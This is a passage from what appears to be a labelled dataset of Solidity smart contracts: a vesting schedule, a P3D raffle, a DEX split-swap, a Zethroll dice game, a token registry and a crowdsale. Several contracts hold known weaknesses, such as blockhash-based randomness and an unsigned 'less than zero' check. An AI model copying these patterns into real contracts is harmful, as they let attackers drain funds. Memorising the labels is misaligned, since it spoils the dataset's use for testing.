addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 306 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 335 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 366 * day, 1218304816 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 396 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 427 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 457 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 488 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 519 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 549 * day, 1218304816 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 580 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 610 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 641 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 672 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 700 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 731 * day, 1084971483 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 761 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 792 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 822 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 853 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 884 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 914 * day, 618304816 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 945 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 975 * day, 25000000 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 1096 * day, 593304816 * SCALING_FACTOR);
addVesting(0x9fB29AAc15b9A4B7F17c3385939b007540f4d791, now + 1279 * day, 273304816 * SCALING_FACTOR);
}
function token() public view returns (IERC20) {
return maticToken;
}
function beneficiary(uint256 _vestingId) public view returns (address) {
return vestings[_vestingId].beneficiary;
}
function releaseTime(uint256 _vestingId) public view returns (uint256) {
return vestings[_vestingId].releaseTime;
}
function vestingAmount(uint256 _vestingId) public view returns (uint256) {
return vestings[_vestingId].amount;
}
function removeVesting(uint256 _vestingId) public onlyOwner {
Vesting storage vesting = vestings[_vestingId];
require(vesting.beneficiary != address(0x0), INVALID_VESTING_ID);
require(!vesting.released , VESTING_ALREADY_RELEASED);
vesting.released = true;
tokensToVest = tokensToVest.sub(vesting.amount);
emit TokenVestingRemoved(_vestingId, vesting.beneficiary, vesting.amount);
}
function addVesting(address _beneficiary, uint256 _releaseTime, uint256 _amount) public onlyOwner {
require(_beneficiary != address(0x0), INVALID_BENEFICIARY);
tokensToVest = tokensToVest.add(_amount);
vestingId = vestingId.add(1);
vestings[vestingId] = Vesting({
beneficiary: _beneficiary,
releaseTime: _releaseTime,
amount: _amount,
released: false
});
emit TokenVestingAdded(vestingId, _beneficiary, _amount);
}
function release(uint256 _vestingId) public {
Vesting storage vesting = vestings[_vestingId];
require(vesting.beneficiary != address(0x0), INVALID_VESTING_ID);
require(!vesting.released , VESTING_ALREADY_RELEASED);
require(block.timestamp >= vesting.releaseTime, NOT_VESTED);
require(maticToken.balanceOf(address(this)) >= vesting.amount, INSUFFICIENT_BALANCE);
vesting.released = true;
tokensToVest = tokensToVest.sub(vesting.amount);
maticToken.safeTransfer(vesting.beneficiary, vesting.amount);
emit TokenVestingReleased(_vestingId, vesting.beneficiary, vesting.amount);
}
function retrieveExcessTokens(uint256 _amount) public onlyOwner {
require(_amount <= maticToken.balanceOf(address(this)).sub(tokensToVest), INSUFFICIENT_BALANCE);
maticToken.safeTransfer(owner(), _amount);
}
} | 1 | 4,394 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
interface SPASMInterface {
function() payable external;
function disburse() external payable;
}
interface HourglassInterface {
function() payable external;
function buy(address _playerAddress) payable external returns(uint256);
function sell(uint256 _amountOfTokens) external;
function reinvest() external;
function withdraw() external;
function exit() external;
function dividendsOf(address _playerAddress) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function stakingRequirement() external view returns(uint256);
}
contract P3DRaffle is Owned {
using SafeMath for uint;
HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);
function harvestabledivs()
view
public
returns(uint256)
{
return ( P3Dcontract_.dividendsOf(address(this))) ;
}
function raffleinfo(uint256 rafflenumber)
view
public
returns(uint256 drawblock, uint256 ticketssold,
uint256 result,
uint256 resultjackpot,
bool validation,
bool wasabletovalidate,
address rafflevanity )
{
return (Raffles[rafflenumber].drawblock, Raffles[rafflenumber].ticketssold,
Raffles[rafflenumber].result,
Raffles[rafflenumber].resultjackpot,
Raffles[rafflenumber].validation,
Raffles[rafflenumber].wasabletovalidate,
Raffles[rafflenumber].rafflevanity
) ;
}
function FetchVanity(address player) view public returns(string)
{
return Vanity[player];
}
function nextlotnumber() view public returns(uint256)
{
return (nextlotnr);
}
function nextrafflenumber() view public returns(uint256)
{
return (nextrafflenr);
}
function pots() pure public returns(uint256 rafflepot, uint256 jackpot)
{
return (rafflepot, jackpot);
}
struct Raffle {
uint256 drawblock;
uint256 ticketssold;
uint256 result;
uint256 resultjackpot;
bool validation;
bool wasabletovalidate;
address rafflevanity;
}
uint256 public nextlotnr;
uint256 public nextrafflenr;
mapping(uint256 => address) public ticketsales;
mapping(uint256 => Raffle) public Raffles;
mapping(address => string) public Vanity;
uint256 public rafflepot;
uint256 public jackpot;
SPASMInterface constant SPASM_ = SPASMInterface(0xfaAe60F2CE6491886C9f7C9356bd92F688cA66a1);
constructor() public{
Raffles[0].validation = true;
nextrafflenr++;
}
function buytickets(uint256 amount ,address masternode) public payable{
require(msg.value >= 10 finney * amount);
require(amount > 0);
uint256 counter;
address sender = msg.sender;
for(uint i=0; i< amount; i++)
{
counter = i + nextrafflenr;
ticketsales[counter] = sender;
}
nextrafflenr += i;
P3Dcontract_.buy.value(msg.value)(masternode);
}
function fetchdivstopot () public{
uint256 divs = harvestabledivs();
P3Dcontract_.withdraw();
uint256 base = divs.div(100);
SPASM_.disburse.value(base)();
rafflepot = rafflepot.add(base.mul(90));
jackpot = jackpot.add(base.mul(9));
}
function changevanity(string van) public payable{
require(msg.value >= 100 finney);
Vanity[msg.sender] = van;
rafflepot = rafflepot.add(msg.value);
}
function startraffle () public{
require(Raffles[nextrafflenr - 1].validation == true);
require(rafflepot >= 103 finney);
Raffles[nextrafflenr].drawblock = block.number;
Raffles[nextrafflenr].ticketssold = nextlotnr-1;
nextrafflenr++;
}
function validateraffle () public{
uint256 rafnr = nextrafflenr - 1;
bool val = Raffles[rafnr].validation;
uint256 drawblock = Raffles[rafnr].drawblock;
require(val != true);
require(drawblock < block.number);
if(block.number - 256 > drawblock) {
Raffles[rafnr].validation = true;
Raffles[rafnr].wasabletovalidate = false;
}
if(block.number - 256 <= drawblock) {
uint256 winningticket = uint256(blockhash(drawblock)) % Raffles[rafnr].ticketssold;
uint256 jackpotdraw = uint256(blockhash(drawblock)) % 1000;
address winner = ticketsales[winningticket];
Raffles[rafnr].validation = true;
Raffles[rafnr].wasabletovalidate = true;
Raffles[rafnr].result = winningticket;
Raffles[rafnr].resultjackpot = jackpotdraw;
Raffles[rafnr].rafflevanity = winner;
if(jackpotdraw == 777){
winner.transfer(jackpot);
jackpot = 0;
}
winner.transfer(100 finney);
msg.sender.transfer(3 finney);
rafflepot = rafflepot.sub(103 finney);
}
}
} | 1 | 3,471 |
pragma solidity ^0.5.7;
interface TokenInterface {
function allowance(address, address) external view returns (uint);
function balanceOf(address) external view returns (uint);
function approve(address, uint) external;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function deposit() external payable;
function withdraw(uint) external;
}
interface UniswapExchange {
function getEthToTokenInputPrice(uint ethSold) external view returns (uint tokenBought);
function getTokenToEthInputPrice(uint tokenSold) external view returns (uint ethBought);
function ethToTokenSwapInput(uint minTokens, uint deadline) external payable returns (uint tokenBought);
function tokenToEthSwapInput(uint tokenSold, uint minEth, uint deadline) external returns (uint ethBought);
}
interface KyberInterface {
function trade(
address src,
uint srcAmount,
address dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId
) external payable returns (uint);
function getExpectedRate(
address src,
address dest,
uint srcQty
) external view returns (uint, uint);
}
interface Eth2DaiInterface {
function getBuyAmount(address dest, address src, uint srcAmt) external view returns(uint);
function getPayAmount(address src, address dest, uint destAmt) external view returns (uint);
function sellAllAmount(
address src,
uint srcAmt,
address dest,
uint minDest
) external returns (uint destAmt);
function buyAllAmount(
address dest,
uint destAmt,
address src,
uint maxSrc
) external returns (uint srcAmt);
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-not-safe");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
}
contract Helper is DSMath {
address public eth2daiAddr = 0x39755357759cE0d7f32dC8dC45414CCa409AE24e;
address public uniswapAddr = 0x09cabEC1eAd1c0Ba254B09efb3EE13841712bE14;
address public kyberAddr = 0x818E6FECD516Ecc3849DAf6845e3EC868087B755;
address public ethAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public wethAddr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public daiAddr = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public adminOne = 0xa7615CD307F323172331865181DC8b80a2834324;
address public adminTwo = 0x7284a8451d9a0e7Dc62B3a71C0593eA2eC5c5638;
uint public maxSplitAmtEth = 60000000000000000000;
uint public maxSplitAmtDai = 20000000000000000000000;
uint public cut = 997500000000000000;
function setAllowance(TokenInterface _token, address _spender) internal {
if (_token.allowance(address(this), _spender) != uint(-1)) {
_token.approve(_spender, uint(-1));
}
}
modifier isAdmin {
require(msg.sender == adminOne || msg.sender == adminTwo, "Not an Admin");
_;
}
}
contract AdminStuffs is Helper {
function setSplitEth(uint amt) public isAdmin {
maxSplitAmtEth = amt;
}
function setSplitDai(uint amt) public isAdmin {
maxSplitAmtDai = amt;
}
function withdrawToken(address token) public isAdmin {
uint daiBal = TokenInterface(token).balanceOf(address(this));
TokenInterface(token).transfer(msg.sender, daiBal);
}
function withdrawEth() public payable isAdmin {
msg.sender.transfer(address(this).balance);
}
function changeFee(uint amt) public isAdmin {
if (amt > 997000000000000000) {
cut = 997000000000000000;
} else {
cut = amt;
}
}
}
contract SplitHelper is AdminStuffs {
function getBest(address src, address dest, uint srcAmt) public view returns (uint bestExchange, uint destAmt) {
uint finalSrcAmt = srcAmt;
if (src == daiAddr) {
finalSrcAmt = wmul(srcAmt, cut);
}
uint eth2DaiPrice = getRateEth2Dai(src, dest, finalSrcAmt);
uint kyberPrice = getRateKyber(src, dest, finalSrcAmt);
uint uniswapPrice = getRateUniswap(src, dest, finalSrcAmt);
if (eth2DaiPrice > kyberPrice && eth2DaiPrice > uniswapPrice) {
destAmt = eth2DaiPrice;
bestExchange = 0;
} else if (kyberPrice > uniswapPrice && kyberPrice > eth2DaiPrice) {
destAmt = kyberPrice;
bestExchange = 1;
} else {
destAmt = uniswapPrice;
bestExchange = 2;
}
if (dest == daiAddr) {
destAmt = wmul(destAmt, cut);
}
require(destAmt != 0, "Dest Amt = 0");
}
function getRateEth2Dai(address src, address dest, uint srcAmt) internal view returns (uint destAmt) {
if (src == ethAddr) {
destAmt = Eth2DaiInterface(eth2daiAddr).getBuyAmount(dest, wethAddr, srcAmt);
} else if (dest == ethAddr) {
destAmt = Eth2DaiInterface(eth2daiAddr).getBuyAmount(wethAddr, src, srcAmt);
}
}
function getRateKyber(address src, address dest, uint srcAmt) internal view returns (uint destAmt) {
(uint kyberPrice,) = KyberInterface(kyberAddr).getExpectedRate(src, dest, srcAmt);
destAmt = wmul(srcAmt, kyberPrice);
}
function getRateUniswap(address src, address dest, uint srcAmt) internal view returns (uint destAmt) {
if (src == ethAddr) {
destAmt = UniswapExchange(uniswapAddr).getEthToTokenInputPrice(srcAmt);
} else if (dest == ethAddr) {
destAmt = UniswapExchange(uniswapAddr).getTokenToEthInputPrice(srcAmt);
}
}
}
contract SplitResolver is SplitHelper {
event LogEthToDai(uint srcAmt, uint destAmt);
event LogDaiToEth(uint srcAmt, uint destAmt);
function ethToDaiLoop(uint srcAmt, uint splitAmt, uint finalAmt) internal returns (uint destAmt) {
if (srcAmt > splitAmt) {
uint amtToSwap = splitAmt;
uint nextSrcAmt = srcAmt - splitAmt;
(uint bestExchange,) = getBest(ethAddr, daiAddr, amtToSwap);
uint ethBought = finalAmt;
if (bestExchange == 0) {
ethBought += swapEth2Dai(wethAddr, daiAddr, amtToSwap);
} else if (bestExchange == 1) {
ethBought += swapKyber(ethAddr, daiAddr, amtToSwap);
} else {
ethBought += swapUniswap(ethAddr, daiAddr, amtToSwap);
}
destAmt = ethToDaiLoop(nextSrcAmt, splitAmt, ethBought);
} else if (srcAmt > 0) {
destAmt = finalAmt;
destAmt += swapKyber(ethAddr, daiAddr, srcAmt);
} else {
destAmt = finalAmt;
}
}
function daiToEthLoop(uint srcAmt, uint splitAmt, uint finalAmt) internal returns (uint destAmt) {
if (srcAmt > splitAmt) {
uint amtToSwap = splitAmt;
uint nextSrcAmt = srcAmt - splitAmt;
(uint bestExchange,) = getBest(daiAddr, ethAddr, amtToSwap);
uint ethBought = finalAmt;
if (bestExchange == 0) {
ethBought += swapEth2Dai(daiAddr, wethAddr, amtToSwap);
} else if (bestExchange == 1) {
ethBought += swapKyber(daiAddr, ethAddr, amtToSwap);
} else {
ethBought += swapUniswap(daiAddr, ethAddr, amtToSwap);
}
destAmt = daiToEthLoop(nextSrcAmt, splitAmt, ethBought);
} else if (srcAmt > 0) {
destAmt = finalAmt;
destAmt += swapKyber(daiAddr, ethAddr, srcAmt);
TokenInterface wethContract = TokenInterface(wethAddr);
uint balanceWeth = wethContract.balanceOf(address(this));
if (balanceWeth > 0) {
wethContract.withdraw(balanceWeth);
}
} else {
TokenInterface wethContract = TokenInterface(wethAddr);
uint balanceWeth = wethContract.balanceOf(address(this));
if (balanceWeth > 0) {
wethContract.withdraw(balanceWeth);
}
destAmt = finalAmt;
}
}
function swapEth2Dai(address src, address dest, uint srcAmt) internal returns (uint destAmt) {
if (src == wethAddr) {
TokenInterface(wethAddr).deposit.value(srcAmt)();
}
destAmt = Eth2DaiInterface(eth2daiAddr).sellAllAmount(
src,
srcAmt,
dest,
0
);
}
function swapKyber(address src, address dest, uint srcAmt) internal returns (uint destAmt) {
uint ethAmt = src == ethAddr ? srcAmt : 0;
destAmt = KyberInterface(kyberAddr).trade.value(ethAmt)(
src,
srcAmt,
dest,
address(this),
2**255,
0,
adminOne
);
}
function swapUniswap(address src, address dest, uint srcAmt) internal returns (uint destAmt) {
if (src == ethAddr) {
destAmt = UniswapExchange(uniswapAddr).ethToTokenSwapInput.value(srcAmt)(uint(0), uint(1899063809));
} else if (dest == ethAddr) {
destAmt = UniswapExchange(uniswapAddr).tokenToEthSwapInput(srcAmt, uint(0), uint(1899063809));
}
}
}
contract SplitSwap is SplitResolver {
function ethToDaiSwap(uint splitAmt, uint slippageAmt) public payable returns (uint destAmt) {
require(maxSplitAmtEth >= splitAmt, "split amt > max");
destAmt = ethToDaiLoop(msg.value, splitAmt, 0);
destAmt = wmul(destAmt, cut);
require(destAmt > slippageAmt, "Dest Amt < slippage");
require(TokenInterface(daiAddr).transfer(msg.sender, destAmt), "Not enough DAI to transfer");
emit LogEthToDai(msg.value, destAmt);
}
function daiToEthSwap(uint srcAmt, uint splitAmt, uint slippageAmt) public returns (uint destAmt) {
require(maxSplitAmtDai >= splitAmt, "split amt > max");
require(TokenInterface(daiAddr).transferFrom(msg.sender, address(this), srcAmt), "Token Approved?");
uint finalSrcAmt = wmul(srcAmt, cut);
destAmt = daiToEthLoop(finalSrcAmt, splitAmt, 0);
require(destAmt > slippageAmt, "Dest Amt < slippage");
msg.sender.transfer(destAmt);
emit LogDaiToEth(finalSrcAmt, destAmt);
}
}
contract InstaSwap is SplitSwap {
constructor() public {
setAllowance(TokenInterface(daiAddr), eth2daiAddr);
setAllowance(TokenInterface(daiAddr), kyberAddr);
setAllowance(TokenInterface(daiAddr), uniswapAddr);
setAllowance(TokenInterface(wethAddr), eth2daiAddr);
setAllowance(TokenInterface(wethAddr), wethAddr);
}
function() external payable {}
} | 1 | 4,048 |
pragma solidity ^0.4.24;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
bool public gamePaused;
address public owner;
address public ZethrBankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
uint public totalBets;
uint public totalZTHWagered;
event LogBet(address sender, uint value, uint rollUnder);
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
event CurrentContractBalance(uint _tokens);
constructor (address zthtknaddr, address zthbankrolladdr) public {
owner = msg.sender;
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
ZethrBankroll = zthbankrolladdr;
houseEdge = 990;
ownerSetMaxProfitAsPercentOfHouse(10000);
ownerSetMinBet(1e18);
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
}
function() public payable {}
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
struct playerRoll{
uint200 tokenValue;
uint48 blockn;
uint8 rollUnder;
}
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1));
require(block.number < ((2 ** 48) - 1));
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
require(block.number != roll.blockn);
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
roll.blockn = uint48(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
playerRolls[_tkn.sender] = roll;
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
totalBets += 1;
totalZTHWagered += _tkn.value;
}
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(true, msg.sender);
}
function _finishBet(bool delete_it, address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0);
require(roll.blockn != block.number);
uint result;
if (block.number - roll.blockn > 255) {
result = 1000;
} else {
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
uint profit = calculateProfit(roll.tokenValue, rollUnder);
if (profit > maxProfit){
profit = maxProfit;
}
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
setMaxProfit();
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
ZTHTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
contractBalance = contractBalance.add(roll.tokenValue);
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
setMaxProfit();
return result;
}
}
struct TKN {address sender; uint value;}
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
require(msg.sender == ZTHTKNADDR);
if (_from == ZethrBankroll) {
contractBalance = contractBalance.add(_value);
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
contractBalance = contractBalance.sub(amount);
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(ZethrBankroll, 0);
ZethrBankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,004 |
pragma solidity ^0.4.24;
interface IDeployer {
function deploy(bytes data) external returns(address mtkn);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract MultiTokenRegistry is Pausable {
address[] public multitokens;
mapping(uint256 => IDeployer) public deployers;
function allMultitokens() public view returns(address[]) {
return multitokens;
}
function setDeployer(uint256 index, IDeployer deployer) public onlyOwner whenNotPaused {
deployers[index] = deployer;
}
function deploy(uint256 index, bytes data) public whenNotPaused {
multitokens.push(deployers[index].deploy(data));
}
} | 1 | 3,215 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
interface token {
function transfer(address receiver, uint amount);
function balanceOf(address) returns (uint256);
}
contract Crowdsale {
address public beneficiary;
uint public tokenBalance;
uint public amountRaised;
uint public deadline;
uint dollar_exchange;
uint test_factor;
uint start_time;
uint price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale() {
beneficiary = 0xD83A4537f917feFf68088eAB619dC6C529A55ad4;
start_time = now;
deadline = start_time + 2 * 1 days;
dollar_exchange = 280;
tokenReward = token(0x2ca8e1fbcde534c8c71d8f39864395c2ed76fb0e);
}
function () payable beforeDeadline {
tokenBalance = 4930089;
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
price = SafeMath.div(0.35 * 1 ether, dollar_exchange);
if (amount >= 37.5 ether && amount < 83 ether) {price = SafeMath.div(SafeMath.mul(100, price), 110);}
if (amount >= 87.5 ether && amount < 166 ether) {price = SafeMath.div(SafeMath.mul(100, price), 115);}
if (amount >= 175 ether) {price = SafeMath.div(SafeMath.mul(100, price), 120);}
tokenBalance = SafeMath.sub(tokenBalance, SafeMath.div(amount, price));
if (tokenBalance < 0 ) { revert(); }
tokenReward.transfer(msg.sender, SafeMath.div(amount * 1 ether, price));
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
modifier beforeDeadline() { if (now <= deadline) _; }
function safeWithdrawal() afterDeadline {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
tokenReward.transfer(beneficiary, tokenReward.balanceOf(this));
tokenBalance = 0;
}
}
} | 1 | 3,164 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
